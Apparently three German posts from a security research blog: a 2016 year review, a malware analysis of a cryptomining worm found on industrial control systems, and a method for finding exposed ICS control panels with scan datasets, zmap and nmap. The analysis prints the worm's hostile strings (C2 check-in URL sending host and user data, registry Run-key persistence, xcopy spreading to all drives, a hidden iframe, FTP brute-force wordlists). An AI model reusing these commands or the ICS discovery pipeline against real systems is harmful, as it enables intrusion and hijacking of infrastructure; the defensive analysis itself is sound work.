Bereits im Ausblick auf 2016 haben wir geschrieben, dass wir uns näher mit Industrial Control Systems (ICS) und SCADA-Systemen beschäftigen wollen. Dieses Vorhaben wurde von uns umgesetzt und es ist uns sogar gelungen die Steuerung von 3 deutschen Wasserwerken im Internet ausfindig zu machen. Zudem wurden wir von einer Quelle darauf hingewiesen, dass sich mobile Ampelsysteme über das Internet abrufen und im schlimmsten Fall sogar steuern ließen. Die genannten und einige weitere Funde haben wir an das BSI (Bundesamt für Sicherheit für Informationstechnik) und CERTs weltweit gemeldet, sodass wir gemeinsam mit ihnen, den Herstellern und Betreibern Sicherheitslücken schließen und Netzwerke schützen konnten. Außerdem haben wir im September eine Analyse zu einem Kryptotrojaner durchgeführt und ein konkretes Beispiel dazu auf in einem Beitrag auf golem.de veröffentlicht.

Grundsätzlich sind wir immernoch im Rahmen von Bug Bounty Programmen aktiv, allerdings nicht mehr so stark wie früher. Uns fehlt schlichtweg die Zeit, da wir noch anderen Dingen nachgehen und zudem muss man offen zugeben, dass es mittlerweile deutlich mehr Security-Researcher gibt, die an Bug Bounty Programmen teilnehmen, als noch vor einiger Zeit. Generell sind wir allerdings immernoch auf Plattformen wie HackerOne oder Bugcrowd aktiv - meist in privaten Programmen.

Medienberichte

Sehr erfreulich war zudem, dass die Arbeit von Internetwache.org auch außerhalb der Fachwelt in der Medienberichterstattung zu finden war. So hat beispielsweise Spiegel sowohl online als auch im Print über unsere Wasserwerk-Funde berichtet. Zudem ist ein Artikel auf zeit.de und handelsblatt.de von uns veröffentlicht worden. Neben diesen Medien verfassen wir seit Beginn des Jahres hin und wieder Artikel für golem.de, um über unsere Funde zu berichten.

Neu in 2016 und daher recht ungewöhnlich für uns, war, dass es einige Video-Beiträge über unsere Arbeit gab. So haben wir beispielsweise gemeinsam mit Redakteueren der Deutschen Welle, dem Westdeutschem Rundfunk (WDR), der ARD und SpiegelTV (RTL) an Beiträgen gearbeitet. Um einen kleinen Eindruck davon zu geben, empfehlen wir folgende Videos.

ARD Video

WDR-Beitrag

Grundsätzlich möchten wir uns bei allen Journalistinnen und Journalisten für die Berichterstattung und auch teils kritische Anmerkungen zu unserer Arbeit bedanken. Auch zukünftig wird es uns ein Anliegen sein, die Auswirkungen von unsicheren informationstechnischen Systemen auf unsere vernetzte Gesellschaft zu beschreiben und einen Dialog darüber mit der Öffentlichkeit zu führen. Wir nehmen Anfragen, Anregungen und Kritik gern über Email entgegen.

Konferenzen

Im Jahr 2016 waren sowohl Sebastian als auch Tim auf einer Vielzahl von Konferenzen, worüber wir auch in einigen Blogbeiträgen berichtet haben. Tim war auf dem Security Analyst Summit 2016 und Sebastian auf der TROOPERS und der Alligatorcon. Außerdem ist es für uns mittlerweile fast “Tradition” am Ende des Jahres beim Chaos Computer Club auf dem Kongress (33c3) zu sein - in diesem Jahr sogar mit eigenem Assembly. Aus unserer Sicht bieten Konferenzen eine prima Möglichkeit neue Erfahrungen, Ideen und Ansätze zu sammeln - zudem haben wir immer wieder sehr nette Menschen kennenlernen dürfen. An dieser Stelle wollen wir uns für all die informativen und angenehmen Gespräche bedanken und freuen uns auch diese in Zukunft zu führen.

2016 in Zahlen

Nach der erfolgreichen Durchführung unseres CTF-Wettbewerbs im Februar und dem daraus resultierenden Anstieg an Followern, blieb diese Tendenz weiterhin bestehen. Damit können wir uns nun über mehr als 1600 Follower freuen. Falls noch einige dazu stoßen wollen - das hier ist unserer Account: @internetwache.

Der Traffic auf unserem Webblog hat sich im Vergleich zu 2015 verdoppelt. Wir zählen nun etwa 25.000 Besuche mit mehr als 45.000 Seitenansichten. Mit nur 8 neuen Artikel in diesem Jahr können sich diese Zahlen schon sehen lassen. Einen Hinweis dazu haben wir mittelweile im FAQ vermerkt, trotzdem führen wir das an dieser Stelle noch einmal kurz aus: Grundsätzlich schreiben wir lieber wenige, dafür aber gut durchdachte Artikel - anstatt sehr vielen die nur mittelmäßig sind. Da wir den Blog in Englisch und Deutsch betreiben und es auch weiterhin dabei bleiben soll, fällt pro Artikel fast die doppelte Arbeit an. Zudem gehen wir noch unseren normalen Berufen nach.

Julien ist seit Mitte des Jahres nicht mehr Mitglied im Team von Internetwache.org. Wir danken Julien für seine Mitarbeit und Unterstützung des Projektes und wünschen ihm viel Erfolg! Sehr gern verweisen wir an dieser Stelle auf seinen Security-Blog rcesecurity.com auf dem er seine Erfahrungen und Funde weiterhin teilt. Wir sind sicher, dass wir auch zukünftig noch Kontakt mit ihm haben werden und haben ihm als ehemaliges Mitglied des Teams einen Platz in unserer Hall of Fame verliehen.

Persönliche Erfolge

Sebastian schreibt weiter über persönlichen Research, welcher nicht unbedingt zum Thema Web gehört, auf dem Blog 0day.work. Im nächsten Jahr wird es dort noch einige weitere Ergebnisse und Blogposts geben. Des Weiteren wurde letztes Jahr häufiger an CTF-Wettbewerben mitgespielt - meistens jedoch als Teil des @ENOFLAG Teams. Sehr spannend war dabei das Finale vom RuCTF, welches in Jekaterinburg in Russland stattfand. Gemessen an der Menge des getrunkenen Vodkas ist ein 9. Platz trotzdem vorzeigbar. Die Qualifikation für das nächste Finale wurde mit einem 6. Platz auch zufriedenstellend abgeschlossen.

Ein weiterer Erfolg war die Organisation des Internetwache-CTF 2016. Wie im oben verlinkten Blogpost beschrieben, kam der CTF sehr gut an.

Tim schreibt seit Beginn 2016 nach Interesse über die Themen Informationssicherheit und Privatsphäre auf dem Web-Portal golem.de. Außerdem wurde im April sein erstes IT-Fachbuch zum Thema “Websicherheit” veröffentlicht, es trägt den Namen “Hacking im Web” und wurde innerhalb von 5 Monaten bereits über 1000-mal verkauft. Zu dem Thema Webhacking betreibt Tim auch einen Blog auf dem demnächst noch weitere Artikel folgen sollen. Neben seinem Studium hat er zudem eine IHK-Ausbildung erfolgreich abgeschlossen und 3 Monate in Barcelona gelebt. 2017 geht es in die finale Phase des dualen Studiums - außerdem hat er vor den ein oder anderen Blogpost (auf einem eigenem Blog) zu schreiben.

Ausblick auf 2017

Die meisten unserer Ziele für 2016 konnten wir erreichen. Wir versuchen hier ein weiteres Mal unsere Arbeit für das nächste Jahr vorauszusagen: Bisher steht auf unserem Plan, dass wir nächstes Jahr wieder einen Internetwache-CTF organisieren. Ideen dazu werden schon fleißig gesammelt, nur muss zur Umsetzung noch die nötige Zeit gefunden werden. Außerdem haben wir noch vor einige Nachforschungen im Bereich IT-Sicherheit anzustellen, aber dazu wollen wir noch nicht zu viel verraten. Die Medienarbeit macht uns generell Spaß und wir werden es uns weiterhin zur Aufgabe machen zu Fragen der Informations- und IT-Sicherheit in der Öffentlichkeit zu sprechen.

Wir werden von uns hören lassen - mit Sicherheit ;)

Sebastian Neef & Tim Philipp Schäfers

Das Team der Internetwache.org

Zunächst wussten wir nicht genau, was es mit der “photo.scr” auf sich hatte. Da die Datei sich auf einigen Systemen allerdings in jedem Ordner finden ließ und sich zudem bei Betrachten von HTML-Dateien (den Hilfedateien einer ICS-Software) einen Autodownload dieser Datei startete, entschlossen wir uns die auffällige Datei etwas genauer zu untersuchen. Wie sich später zeigte gehört die Datei zu einem Kryptomining-Botnet - über das bereits andere Sicherheitsunternehmen berichtet hatten.

Einige Erkenntnisse haben wir bereits in einem Artikel auf golem.de vorgestellt: Kritische Infrastrukturen: Wenn die USV Kryptowährungen schürft

Für die Analyse nutzten wir unter anderem den Dienst malwr.com. Wir luden dort mehrere Samples hoch und entdeckten auch bereits hochgeladene Versionen dieser Software. Soweit wir das beurteilen können, funktionierten alle Samples nach demselben Prinzip. Wir fokussierten uns insbesondere auf dieses Sample - da wir es auf einem ICS gefunden und anschließend näher untersucht haben.

Analyse

Die Datei ist 1578496 Bytes (~1.6 MB) groß und wird als PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows erkannt:

1
2
3
4
5

$> file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

$> du -sb 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
1578496 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin

Hashsummen des Sampels

1
2
3
4
5
6
7
8

$> md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
aba2d86ed17f587eb6d57e6c75f64f05  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin

$> sha1sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
aeccba64f4dd19033ac2226b4445faac05c88b76  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin

$> sha256sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin

Wie wir wissen, sollte man nicht das Kommando “strings” auf unbekannten Dateien ausführen, deswegen nutzten wir die hilfreichen Features von Radare2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

$> r2  file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
> iS
[Sections]
[...]sz=79872 vsz=79824 perm=m-r-x name=.text
[...]sz=1536 vsz=1124 perm=m-rw- name=.data
[...]sz=10752 vsz=10260 perm=m-r-- name=.rdata
[...]sz=1024 vsz=1016 perm=m-r-- name=.eh_fra
[...]sz=0 vsz=19276 perm=m-rw- name=.bss
[...]sz=3584 vsz=3480 perm=m-rw- name=.idata
[...]sz=512 vsz=28 perm=m-rw- name=.CRT
[...]sz=512 vsz=32 perm=m-rw- name=.tls
[...]sz=1479680 vsz=1479216 perm=m-rw- name=.rsrc

9 sections

Wie man sieht, ist die .rsrc Ressource-Section, mit ungefähr 1.4 MB von insgesamt 1.6 MB, am Größten. Es lohnt sich also einen Blick dahineinzuwerfen. Dazu kann man das praktische Tool wrestool nutzen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

$> mkdir wrestool && cd wrestool/
$> wrestool -a -R -x -o ./ ../807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin  
$> ls
insgesamt 1,5M
[...] 4,0K  3. Sep 14:59 .
[...] 4,0K 22. Aug 00:46 ..
[...] 1,4M  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1
[...]  146  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_14_ICON1.ico
[...] 1,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_1
[...] 1,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_10
[...]  744  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_2
[...]  296  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_3
[...] 3,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_4
[...] 2,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_5
[...] 1,4K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_6
[...]  20K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_7
[...] 9,5K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_8
[...] 4,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_9
[...]  45K 22. Aug 00:41 bad-file_14_ICON1.ico

Diesmal gibt es einige kleinere Dateien, wobei eine besonders heraussticht: Gleich ganz oben mit dem Suffix “RCDATA1”. Die anderen Dateien zeigte das wrestool als Icons an, diese scheinen aber, bis auf zwei Ausnahmen eines Ordnersymbols, keine zu sein. Das Ordnersymbol dient offensichtlich dazu Nutzer zu täuschen (Social Engineering), damit diese einen Doppelklick auf den vermeintlichen Ordner machen.

Moderne Webbrowser, wie der Mozilla Firefox zeigen trotz verfälschtem Symbol an, dass es sich bei der abgerufenen Datei um eine ausführbare Datei handelt.

Die verdächtige größere Datei scheint wieder eine Windows-Executable zu sein:

1
2
3
4
5

$> file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1: PE32 executable (console) Intel 80386, for MS Windows

$> md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
3afeb8e9af02a33ff71bf2f6751cae3a  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1

Sucht man nach der MD5-Summe 3afeb8e9af02a33ff71bf2f6751cae3a, so findet man heraus, dass es sich um eine Programm namens NsCpuCNMiner32.exe handelt - Das werden wir später an einer anderen Stelle noch erkennen.

Führt man in Radare2 das Kommando iz | less aus, so bekommt man eine Auflistung aller Strings in der .data Sektion. Hier lassen sich interessante Sachen entdecken!

Zum Beispiel die Hosts mit denen die Malware kommuniziert:

1
2
3
4
5
6
7
8
9

[...]string=stafftest.ru
[...]string=hrtests.ru
[...]string=profetest.ru
[...]string=testpsy.ru
[...]string=pstests.ru
[...]string=qptest.ru
[...]string=prtests.ru
[...]string=jobtests.ru
[...]string=iqtesti.ru

Konkret sieht man aus dem malwr.com-Log, dass ein HTTP-Request an folgende URL gestellt wird: httpx://stafftest .ru/test.html. Das finden wir auch in der Binary logischweise wieder:

1

[...]string=http://%s/test.html?%d

Ruft man diese URL in einer abgeschirmten Umgebung auf, so bekommt man HTML-Quelltext und viel Buchstabensalat zurück. Eine Analyse von Fortinet zeigt, dass scheinbar nur Buchstaben verstauscht werden müssen, um die Kommandos zu entschlüsseln - Es handelt sich offensichtlich um eine ROT47 Methode auf einem eigenen Schriftsatz - der folgendermaßen gelöst werden kann.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#!/usr/bin/python2
import requests

def decode(URL):
    charset = " mnbvcxzlkjhgfdsapoiuytrewq/0987654321!@=%&?:.,["
    r = requests.get(URL)
    content = r.content
    output = ""

    for c in content:
        if c in charset:
            pos = 47 - charset.index(c)
            output += charset[pos]
        else:
            output += c

    return output

print decode("httpx://stafftest .ru/stat.html")
print decode("httpx://stafftest .ru/test.html")
print decode("httpx://stafftest .ru/text.html")

Eine beispielhafte Ausgabe findet man in unserem Paste.

1

[...]string=httpx://hrtests .ru/S.php?ver=24&pc=%s&user=%s&sys=%s&cmd=%s&startup=%s/%s

Zudem wird ein HTTP-Request vorgenommen bei dem mehrere Daten übermittelt werden, so etwa eine Version (ver), der Computername, der Nutzer und inwieweit das Programm nach dem Neustart des Rechners ausgeführt wird. Vermutlich werden diese Werte genutzt, um sie in ein Backend der Cyberkriminellen einzupflegen - darüber haben diese jederzeit Überblick wie viele und welche Systeme befallen sind. Der Parameter ver deutet zudem darauf hin, dass die Entwicklung der Malware tatsächlich erstaunlich professionell, mit immer neuen Releases, verläuft. Eine Analyse von GuardiCore legt nahe, dass mit jeder neuen Version auch neue Verbreitungswege zu der Malware hinzugefügt werden.

In der Liste der Strings finden wir den oben bereits extrahierten NsCpuCNMiner wieder (dieser existiert in manchen Versionen der Malware sowohl in der 32-bit, als auch in der 64-bit Variante), welcher im %%TEMP%%-Verzeichnis abgelegt und von dort ausgeführt wird.

1
2

[...]string=%s\NsCpuCNMiner32.exe
[...]string=/c start /b %%TEMP%%\NsCpuCNMiner32.exe -dbg -1 %s

Der Miner wird defaultmäßig mit Mining-Pools ausgeführt, die bereits in der “photo.scr” hinterlegt sind. Darüber hinaus wird eine Liste mit möglichen Mining-Pools mit dem gezeigten HTTP-Request ermittelt und in einer Datei mit dem Namen “pools.txt” gespeichert. Per Shell-Kommando kann die entsprechende Datei bei Aufruf des Miners übergeben werden.

1

[...]string=/c (echo stratum+tcp://mine.moneropool.com:3333& echo stratum+tcp://monero.crypto-pool.fr:3333& echo stratum+tcp://xmr.prohash.net:7777& echo stratum+tcp://pool.minexmr.com:5555)> %TEMP%\pools.txt

Damit die getanene Arbeit und deren Ergebnisse einem Account auf einem der Mining-Pools zugeordnet werden kann, muss oft ein Account-spezifischer API-Key angegeben werden:

1

[...]string=-o stratum+tcp://mine.moneropool.com:3336 -t 1 -u 42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ -p x

Reddit-Nutzer konnten weitere, wahrscheinlich zugehörende, Adressen und API-Keys ausfindig machen.

Um sich zu verbreiten, brute-forced der Miner FTP-Logins. Dazu nutzt er folgende Benutzernamen…

1
2
3
4
5
6
7
8
9

[...]string=anonymous
[...]string=Admin
[...]string=admin
[...]string=www-data
[...]string=anonymous
[...]string=Admin
[...]string=admin
[...]string=www-data
[...]string=administrator

…und Passwörter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

[...]string=test
[...]string=password
[...]string=pass
[...]string=pass1234
[...]string=1234
[...]string=12345
[...]string=123456
[...]string=1234567
[...]string=12345678
[...]string=123456789
[...]string=1234567890
[...]string=qwerty
[...]string=devry
[...]string=000000
[...]string=111111
[...]string=123123
[...]string=abc123
[...]string=admin123
[...]string=derok010101
[...]string=windows
[...]string=123qwe
[...]string=email@email.com

Die folgenden Dateiendungen könnten darauf hindeuten, dass die Malware Dateien mit dieser Endung manipuliert, um sich weiter zu verbreiten:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

[...]string=.php
[...]string=.PHP
[...]string=.htm
[...]string=.HTM
[...]string=.xml
[...]string=.XML
[...]string=.dhtm
[...]string=.DHTM
[...]string=.phtm
[...]string=.xht
[...]string=.htx
[...]string=.mht
[...]string=.bml
[...]string=.asp
[...]string=.shtm

Die Manipulation beinhaltet vor allem das Erstellen eines 1x1 großen Iframes über welchen auf die entsprechende Datei (photo.scr) verwiesen wird. Der Code dazu lautet:

1

[...]string=\n<iframe src=Photo.scr width=1 height=1 frameborder=0>\n</iframe>\n

Um immer im Hintergrund zu laufen und um sich auf weitere Systeme zu verbreiten wird ein Registry-Eintrag angelegt und zudem versucht sich auf alle angeschlossene Laufwerke zu kopieren:

1
2

[...]string=/c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run" /d "%s" /t REG_SZ /f
[...]string=/c for %%i in (A B C D E F G H J K L M N O P R S T Q U Y I X V X W Z) do xcopy /y "%s" %%i:\

Zudem wird nach Doppelklick auf die Datei ein Countdown von 5 Wochen (über 3.100.000 Sekunden) gestartet - erst nach dieser Zeit findet die geschilderte aggressive Verbreitung statt - zuvor wird zunächst heimlich und im Hintergrund Kryptomining betrieben.

Maßnahmen der Malware zur Verbreitung & möglicher Schaden

Die Malware nutzt verschiedene Formen der Verbreitung:

• Bruteforcing von FTP-Servern (mittels Wortliste)
• Verteilen auf angeschlossene Festplatten (Laufwerke)
• Verwendung von 1x1 Iframes innerhalb von HTML-Dateien, um einen Autodownload zu erreichen
• Erstellen von WLAN-Hotspots (gefunden in Samples von GuardiCore)

Anders als bei Ransomeware liegt kein wirklich sichtbarer Schaden vor, da die Schadware ausschließlich Rechenkapazität nutzt und geringfügig Speicher belegt. Allerdings haben wir den Wurm auch auf Industrial Control Systems gefunden - in solchen Umgebungen kann es gefährlich sein, wenn der Wurm versucht sich aggressiv (beispielsweise durch Kopieren) weiterzuverbreiten.

Es ist unklar, wer hinter diesem Vorgehen steckt - allerdings gehen wir davon aus, dass der oder die Cyberkriminellen durchaus ein ansehnliches Einkommen durch dieses Vorgehen generieren können, was mitunter im 6 oder sogar 7-stelligen Bereich liegen könnte.

Zur Berechnung dieses Bereiches haben wir uns die standardmäßigen Monero Mining Konfigurationen angeschaut und angenommen, dass ein befallener Computer (Dual Core) im Durchschnitt eine Hash-Rate von 62 H/s besitzt. (Diese Annahme ich durchaus verhalten, da Gaming-PCs und co. eine deutlich höhere Hash-Rate haben.) Zudem nehmen wir einen Pool Fee von 2% an, was auch eher überdurchschnittlich hoch, also entsprechend negativ für die Cyberkriminellen, ist. Nutzt man diese hypothetischen Angaben und gibt sie in einen Mining-Rechner ein, so erhält man unter Berücksichtigung der aktuellen Mining-Werte (Difficulty & Reward) eine wöchtenliche Erzielung von 0,44$ pro befallenem Gerät.

1

50000 * 0,44 $ = 22000 $

Bei 50000 befallenen Geräten würde man so pro Woche bereits einen Wert von 22000 $ generieren.

1

22000$ * 36 = 792000 $

Da der Threat-Actor mindestens schon seit Ende des letzten Jahres bzw. Anfang 2016 aktiv ist (das legen die Untersuchungen anderer Sicherheitsexperten nahe, siehe bspw. GuardiCore), könnte man den wöchentlichen Wert mit der Anzahl der Kalenderwochen in 2016 multiplizieren und hätte dann eine ungefähre Ahnung davon, wie viel die Cyberkriminellen verdient haben könnten. Es ist natürlich richtig einzuwenden, dass nicht alle PCs zu jedem Zeitpunkt an sind, Erkennungen durch Antivierensysteme erfolgen und auch die Währung selbst Schwankungen unterliegt - aber die zu Grunde liegenden 50000 befallenden Geräte sind ja ebenfalls eine reine Schätzung und könnten sogar, angesichts der geschilderten aggressiven Verbreitung, deutlich höher ausfallen.

Fireeye hat vor einiger Zeit eine Malware der gleichen Familie gefunden, diese hat .top-Domains genutzt, um sich zu verbreiten. Da die Command und Control Server die gleichen sind, wie in der von uns gefundenen Malware ist zu vermuten, dass die gleichen Akteure hinter der Malware stecken oder aber sogar ein Malware as a Service Programm genutzt wird (die Cyberkriminelle also andere Kriminelle bezahlen - die ihre Malware an mögliche Opfer verteilen).

Schutz vor dieser Malware

Nachfolgend wollen wir noch eine kurze Übersicht über mögliche Schutzmaßnahmen geben, damit man selbst nicht Opfer und damit Teil einer unfreiwilligen Mining-Operation wird.

Als Betreiber einer IT-Infrastrukur:

• Sichere Passwörter für FTP nutzen
• IP-Bann nach mehrfacher Fehlauthentifizierung
• Blacklisting der oben gennannten URLs in Webproxies oder Firewalls
• Virensystem auf dem aktuellen Stand halten und regelmäßige Scans durchführen

Als Besitzer eines Endgerätes:

• Skeptisch sein: Keine merkwürdigen Dateien per Doppelklick öffnen
• Dateianhänge in Windows anzeigen lassen
• In unbekannten WLANs immer vorsichtig agieren
• Autodownloads auf fremden Webseiten nicht anklicken
• Virensystem auf dem aktuellen Stand halten und regelmäßige Scans durchführen

Das Team der Internetwache.org

Alles begann im Oktober 2015 als Tim ein Datenleck im Prime Tower entdeckte. Angestoßen von dieser Entdeckung suchte er nach weiteren ICS und wurde alsbald auch fündig. Er entdeckte ein Wasserwerk, welches nach seinem Hinweis an das BSI einige Tage später nicht mehr öffentlich zugänglich war. Im Rahmen des Projektes Internetwache.org haben Tim und Sebastian daraufhin einen großflächigeren Scan durchgeführt und weitere Wasserwerke sowie ICS gefunden. Die zentralen Ergebnisse und eine Einführung in verschiedene Problematiken findet man in dem Artikel auf Golem.de.

In diesem Blogpost soll die dahinterstehende Methodik und genauere Hintergrundinformationen dargestellt werden.

Aller Anfang ist schwer…

Am Anfang hatte Tim mit Hilfe eines kleinen Python-Scripts angefangen, das Internet nach ICS abzusuchen. Dadurch ließen sich bereits erste erstaunliche Sachen finden (was uns wiederholt zeigt, dass es vermutlich noch mehr zu entdecken gibt) - allerdings war das Vorgehen insgesamt langsam. Zu diesem Zeitpunkt hatte Tim bereits einen Anhaltspunkt entdecken können, mit welchem mit hoher Wahrscheinlichkeit ICS im Internet ausfindig gemacht werden konnten. Es fehlte nur noch ein effizienterer Prozess, um diese “Nadeln im Heuhaufen” zu entdecken.

Sebastian hatte daraufhin die Idee, einen neuen Ansatz zu wählen und mit Hilfe des Programmes Zmap, ein Tool der University of Michigan, was auch den treffenden Namen “The Internet Scanner” trägt, und dem dazugehörigen Tool Zgrab das Internet nach diesen Systemen zu durchsuchen. Laut Webseite sind damit (je nach verfügbarer Bandbreite) Scans des gesamten Internet in unter 5 Minuten möglich. Damit kann man also den kompletten öffentlichen IPv4-Bereich nach Systemen abscannen, welche auf bestimmten Ports (u.a. Port 80) erreichbar sind, um diese dann später weiter auf bestimmte Kriterien untersuchen zu können.

Der Aufruf sah folgendermaßen aus:

1

sudo zmap -B 10M -p 80 --output-fields='*' | ztee results.csv | zgrab --port 80 --http="/" | gzip >  banners.gz 

Allerdings stellte sich dieser Ansatz, nach einigen Probescans, für uns nicht als optimal heraus, da wir keinen passenden Internetanschluss bzw. Hoster hatten, von dem man einen entsprechenden Scan ohne Abusemails oder ähnliche Nachfolgen hätten durchführen können. Außerdem hätte dies bei einer weniger schnellen Anbindung (<1 Gbit/s) mehrere Stunden in Anspruch genommen - es wären allenfalls Forschungseinrichtungen oder Firmen mit einer solchen Anbindung in Frage gekommen.

Wir wählten also einen anderen Weg, denn Sebastian erinnerte sich, dass ähnliche, fertige Datensätze auf dem Projekt scans.io veröffentlicht werden. Die Daten umfassen internetweite Scans und sind für jeden kostenlos auf der Webseite von scans.io abrufbar. Sie werden weltweit immer wieder zu Forschungszwecke herangezogen und schienen auch uns sehr geeignet für unser Vorhaben. In der Sammlung fanden wir in einer eigenen Kategorie einen wöchentlichen Scan der HTTP-Antworten aller erreichbaren Systeme auf Port 80 hochgeladen. Dieser Datensatz ist komprimiert rund 80 Gigabyte groß und enthät mehr als 62276536 Einträge. Bei dem Scan wird versucht alle im Internet erreichbaren IPv4-Adressen abzuscannen, antworten diese - so gelangt ihr Datensatz in den Scan - ist das nicht der Fall, so werden diese nicht mit aufgenommen.

Jeder Eintrag enthält die folgenden Daten im JSON-Format:

1
2
3
4
5
6
7

{
    "ip": "8.8.8.8"
    "host": "8.8.8.8",
    "vhost": "8.8.8.8", 
    "port": 80, 
    "data": base64(HTTP-Antwort), 
}

Der “data”-Eintrag enthielt die komplette HTTP-Antwort des angesprochenen Servers, inklusive HTTP-Headern und komplettem Inhalt, allerdings noch mittels “base64” kodiert.

Durchführen des Scans

Alle HMIs ließen sich an einem bestimmten Wert in einem der HTTP-Header erkennen (wie bereits oben beschrieben), sodass Sebastian ein kleines Python-Script schrieb, welches den heruntergeladenen Datensatz dekomprimierte, zeilenweise auslies und nach dem Base64-Dekodieren der Daten nach einem bestimmten Header ausschau hielt, der in zwei verschiedenen Variationen vorkommen konnte. Wir reduzierten den Datensatz auf 1796 Einträge.

1
2
3
4

$> python2 filter_scansio.py
$> wc -l output*.ips
     142 output-type1.ips
    1654 output-type2.ips

Die Ausgabe des Scriptes enthielt einige unnötige Leerzeilen und möglicherweise doppelte Einträge, sodass wir uns entschieden, alle IP-Adresse zu extrahieren:

1
2

$> grep -oP "\d+\.\d+\.\d+\.\d+" /tmp/output-*.ips | sort | uniq | tac | wc -l 
838

In einem ersten Durchlauf testeten wir alle IP-Adressen erneut auf Erreichbarkeit und ob sie ein HMI darstellen oder nicht. Dabei stellten wir fest, dass nicht wenige der Systeme Gebrauch von dem in das Produkt integrierte HTTP-Basic-Authentication-Protokolls machten, also einen Passwortschutz konfiguriert hatten. Allerdings stellte sich auch heraus, dass der Wert nach dem gesucht wurde, nicht eindeutig ist und erstaunlicherweise auch mehrere Pornoseiten diesen in ihrem HTML-Quelltext nutzen, sodass hier viele Falsepositives enstanden.

Ein weiterer Filter musste angewendet werden. Diesmal orientierten wir uns an einem Dateinamen einer Javascriptdatei, welche in allen Webseiten des Herstellers genutzt wird.

1

$> python2 js_filter.py | sort | uniq | tac | wc -l                  

Der Datensatz reduzierte sich weiter auf über 60 Systeme, welche alle ohne Passwortschutz im Internet waren.

Nach den ersten Kontaktaufnahmen und Abschirmungen vom Internet stellte sich das manuelle Überprüfen der Systeme als unhandlich heraus. Sebastian entwickelte daher ein Plugin für die Nmap-Script-Engine (NSE), welches die zuvor genannten Filterschritte und Erkennungen durchführte. Der Aufruf sah folgendermaßen aus:

1

$> nmap -n -PN -d --script nmap-find-hmis.nse -p 80 -iL all.ips  -oX nmap-all-ips-plugin-scan.xml -T paranoid

Die Ausgaben des Scriptes wurden im XML-Format durch Nmap gespeichert und mussten nur noch auf die entsprechenden Kategorien gefiltert werden:

• “Discovered, authenticated”
• “Discovered, unauthenticated”
• “Not Discovered”

Dies erledigte ein weiteres Python-Script:

1
2
3
4
5
6

$> python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Discovered, unauthenticated" | wc -l 
42
$> python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Discovered, authenticated" | wc -l 
40 
$> python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Not Discovered" | wc -l
673 

Wobei “unauthenticated” für Onlinesteuerungen ohne HTTP-Basic-Authenthication steht, und “authenticated” entsprechend für die geschützten Systeme. Je nach verwendetem Proxy und Timeout variierten die Ergebnisse ein wenig auf Grund der teilweise langen Antwortzeiten der Systeme.

Auswertung

